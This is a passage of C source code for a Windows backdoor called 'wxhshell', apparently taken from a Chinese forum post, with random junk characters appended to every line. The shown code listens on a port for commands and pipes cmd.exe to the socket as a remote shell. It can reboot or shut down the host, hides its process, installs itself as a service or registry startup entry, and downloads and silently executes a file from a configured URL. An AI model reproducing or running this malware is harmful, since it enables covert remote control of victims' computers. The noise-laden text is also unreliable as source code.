      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6 AY~>p  
    break; })mD{c/  
  } WT,dTn;W  
  // 安装 -zt*C&)b  
  case 'i': { %F-yF N"  
    if(Install()) X?r$o>db  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e&(Wn2)o  
    else KF#qz2S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MdkL_YP}.  
    break; \q!TI x  
    } WqCER^~'>  
  // 卸载 pK>/c>de  
  case 'r': { ~S :8M<aB  
    if(Uninstall()) g[ @Q iy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D 7thLqA  
    else ei]Q<vT6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VJr~h "[  
    break; wB[ JFy"E  
    } mH<|.7~0  
  // 显示 wxhshell 所在路径 $Mx?Y9!  
  case 'p': { ]E.FBGT  
    char svExeFile[MAX_PATH]; Ka)aBU9  
    strcpy(svExeFile,"\n\r"); -0CL#RzKR  
      strcat(svExeFile,ExeFile); IY}GU 2#  
        send(wsh,svExeFile,strlen(svExeFile),0); %6V=G5+W  
    break; ,(hP /<  
    } vON7~KA  
  // 重启 //$^~} wt  
  case 'b': { w 17{2']  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "yU<X\n i  
    if(Boot(REBOOT)) t B}W )Eb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ms%C:KG  
    else { %f&Bt,xEo  
    closesocket(wsh); ^s=F<_{  
    ExitThread(0); yRhD<*  
    } WdJeh:h  
    break; ?WS.RBe2  
    } 3c`  
  // 关机 mxc^IRj  
  case 'd': { Z0V6cikW6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 54s90  
    if(Boot(SHUTDOWN)) 0(uba3z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sG|,#XQ  
    else { gV5mERKs  
    closesocket(wsh); tM:$H6m/(  
    ExitThread(0); S =sL:FC  
    } ZM=eiJZ  
    break; hJ8B&u(  
    } .b2%n;_>.  
  // 获取shell 'Ze& LQ  
  case 's': { bg|=)sw4  
    CmdShell(wsh); \w$e|[~  
    closesocket(wsh); kZ^wc .  
    ExitThread(0); UG]5Dxk  
    break; W,t`DMC  
  } yS#D$q2_  
  // 退出 5RSP.Vyx{  
  case 'x': { `;Fs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sY}0PB  
    CloseIt(wsh); dr"@2=Z  
    break; ^h<ElK  
    } %we! J%'Y]  
  // 离开 ;O .;i,#Z  
  case 'q': { c-?0~A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZmaW]3$  
    closesocket(wsh); &b19s=Z,  
    WSACleanup(); XlwyD  
    exit(1); 'HWPuWW  
    break; 0+rBGk  
        } @]],H0  
  } M!PK3  
  }  t|:XSJ9  
Fow{-cs_p  
  // 提示信息 cyI:dvg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WD 7T&i  
} g3(?!f  
  } aU] nh. a  
c 8|&Q  
  return; 0gKSjTqo  
} ~Z97L  
lI[O!Vu Kc  
// shell模块句柄 ,z$ U=u o  
int CmdShell(SOCKET sock) z&|sks7  
{ H)+wkR!~  
STARTUPINFO si; [lj^lN8  
ZeroMemory(&si,sizeof(si)); lR]SGdY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7<F{a"5P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f[$Z<:D-ve  
PROCESS_INFORMATION ProcessInfo; <QK2Wc_}-"  
char cmdline[]="cmd"; 4e|(= W`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }M(XHw  
  return 0; _^w^tfH]  
} X5P1wxk'  
RJOyPZ]  
// 自身启动模式 P76QHBbl  
int StartFromService(void) k8ymOx  
{ wpJfP_H  
typedef struct N..@}}  
{ _8?r!D#P;s  
  DWORD ExitStatus; f{R/rb&iB  
  DWORD PebBaseAddress; Snas:#B!  
  DWORD AffinityMask; g6q67m<h  
  DWORD BasePriority; "Ze<dB#,Y  
  ULONG UniqueProcessId; 7t/C:2^&  
  ULONG InheritedFromUniqueProcessId; onUF@3V  
}   PROCESS_BASIC_INFORMATION; ZOHGGO]1M  
?OWJUmQ  
PROCNTQSIP NtQueryInformationProcess; TSP#.QY  
|?uUw$oh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X>rv{@KbL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K1fnHpK  
-Wl79lE  
  HANDLE             hProcess; KrD?Z2x  
  PROCESS_BASIC_INFORMATION pbi; (wEaw|Zx  
=a./HCF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'uF"O"*  
  if(NULL == hInst ) return 0; E`UEl$($  
nOUF<DNQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !\1Pu|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O<qo%fP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cpBTi  
!W45X}/o  
  if (!NtQueryInformationProcess) return 0; l0{R`G,  
k /lDE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UxVxnJ_  
  if(!hProcess) return 0; +S}/ 6dg  
^y&sKO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1bJrEXHXy  
]s:%joj%^  
  CloseHandle(hProcess); #vvQ 1ub  
;*8,PV0b_<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mA']*)L1  
if(hProcess==NULL) return 0; I>3]VR i  
R9lb<`  
HMODULE hMod; Z\*jt B:  
char procName[255]; c o%-d  
unsigned long cbNeeded; 6"Rw&3D?  
+d,Z_ 6F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0N>R!  
l)( 3]  
  CloseHandle(hProcess); A<s9c=d6  
qCgoB 0  
if(strstr(procName,"services")) return 1; // 以服务启动 SpX6PwM  
'#@tovr  
  return 0; // 注册表启动 qEV>$>}  
} VTvNn  
a/H|/CB 3  
// 主模块 5j$ a3nH  
int StartWxhshell(LPSTR lpCmdLine) )*n2 ,n  
{ ~5b^Gvb?  
  SOCKET wsl; Eh&HN-&  
BOOL val=TRUE; H)l7:a  
  int port=0; I Z{DR  
  struct sockaddr_in door; l^E)XWd  
c0u1L@tj  
  if(wscfg.ws_autoins) Install(); "AUHe6Yv  
.=<<b|  
port=atoi(lpCmdLine); $fl+l5?9  
M[7$cfp-Y~  
if(port<=0) port=wscfg.ws_port; ,fW%Qv  
j?y_ H[Z  
  WSADATA data; uiIS4S_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L9":=  
_iZ_.3 Ip  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B`<K]ut  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rW B/#m  
  door.sin_family = AF_INET; f jm(C#^-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s+OXT4>+  
  door.sin_port = htons(port); Ea\Khf]2  
p;<brwN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YPNG9^Y  
closesocket(wsl); IG=#2 /$  
return 1; |#?:KvU97E  
} #J09Eka;J  
ZQY?wO: [  
  if(listen(wsl,2) == INVALID_SOCKET) { bL]NSD  
closesocket(wsl); s'JbG&T[J  
return 1; yRv4,{B}X>  
} G2BB]] m3  
  Wxhshell(wsl); Kk9W=vd  
  WSACleanup(); s'Wu \r'  
n!$zO{P  
return 0; A9\(vxxOpC  
W 2.Ap  
} UY$Lqe~  
7F@#6  
// 以NT服务方式启动 tzV^.QWm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9B<aYp)  
{ KoKd.%  
DWORD   status = 0; g,] GzHV1  
  DWORD   specificError = 0xfffffff; Ek%mX"  
XlDN)b5v{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `4kVe= {  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ].r~?9'/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {IA3`y~  
  serviceStatus.dwWin32ExitCode     = 0; ::R5F4  
  serviceStatus.dwServiceSpecificExitCode = 0;  \qj(`0HG  
  serviceStatus.dwCheckPoint       = 0; SM8Wg>  
  serviceStatus.dwWaitHint       = 0; 0S71&I$u]  
AD^Q`7K?uR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !$L~/<&0g  
  if (hServiceStatusHandle==0) return; FH7h?!|t  
ee\QK,QV  
status = GetLastError(); #$0*Gd-N  
  if (status!=NO_ERROR) -"~XI~a@Wo  
{ Z(:q.{"r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {k8R6l1  
    serviceStatus.dwCheckPoint       = 0; ~D\zz }l  
    serviceStatus.dwWaitHint       = 0; V Bv|7S  
    serviceStatus.dwWin32ExitCode     = status; oo2CF!Xy  
    serviceStatus.dwServiceSpecificExitCode = specificError; <<l1 zEf@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PEDV9u[A  
    return; >PmnR>x-rj  
  } S";c7s  
&f($= 68  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9mRP%c#(  
  serviceStatus.dwCheckPoint       = 0; KI Xp+Z  
  serviceStatus.dwWaitHint       = 0; ]wm<$+@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;nbV-<e  
} (utk)  
?8]g&V  
// 处理NT服务事件,比如:启动、停止 Q"F" 13  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8]j*z n?,  
{ 3}kG ]#  
switch(fdwControl) <@H`5[R  
{ _ 2 oZhJ  
case SERVICE_CONTROL_STOP: s&7TARd  
  serviceStatus.dwWin32ExitCode = 0; DrA\-G_7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (j?ckah%V  
  serviceStatus.dwCheckPoint   = 0; ;fe~PPT  
  serviceStatus.dwWaitHint     = 0; 0"J0JcFX  
  {  BDfJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ym|%ka  
  } E)F#Z=)  
  return; tg6iHFa  
case SERVICE_CONTROL_PAUSE: /l>!7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jT=fq'RK  
  break; CWY-}M  
case SERVICE_CONTROL_CONTINUE: buKSZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]e6$ ={  
  break; Q4ZKgcC  
case SERVICE_CONTROL_INTERROGATE: .OcI.1H[  
  break; GUn$IPOM  
}; 4@r76v}{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c"lblt5  
} 4t,f$zk  
_qa9wK/  
// 标准应用程序主函数 Z;~7L*|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !xvAy3  
{ zmhL[1qj  
F4PWL|1  
// 获取操作系统版本 )|wC 1J!L  
OsIsNt=GetOsVer(); =A{s,UP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qo\?(E M  
d.yATP  
  // 从命令行安装 of8 >xvE|  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]w_JbFmT  
QD^q\9U[  
  // 下载执行文件 [\-)c[/  
if(wscfg.ws_downexe) { `*",_RO;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >u+%H vzc  
  WinExec(wscfg.ws_filenam,SW_HIDE); |eI!wgQx  
} wC?>,LOl  
uj:1_&g  
if(!OsIsNt) { L$6W,D  
// 如果时win9x,隐藏进程并且设置为注册表启动 B$ jX%e{:S  
HideProc(); ^h!}jvqE  
StartWxhshell(lpCmdLine); 4Z.Dz@.c(  
} mJZB@m u?  
else -QK- w>  
  if(StartFromService()) xX.kKEo"d  
  // 以服务方式启动 '*D>/hn|:]  
  StartServiceCtrlDispatcher(DispatchTable); |j=Pj)5J  
else W. BX6  
  // 普通方式启动 ? =G{2E.  
  StartWxhshell(lpCmdLine); 'x6rU"e$J  
wOg#J  
return 0; '| p"HbJ  
}
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只看该作者 1 发表于: 2006-10-10
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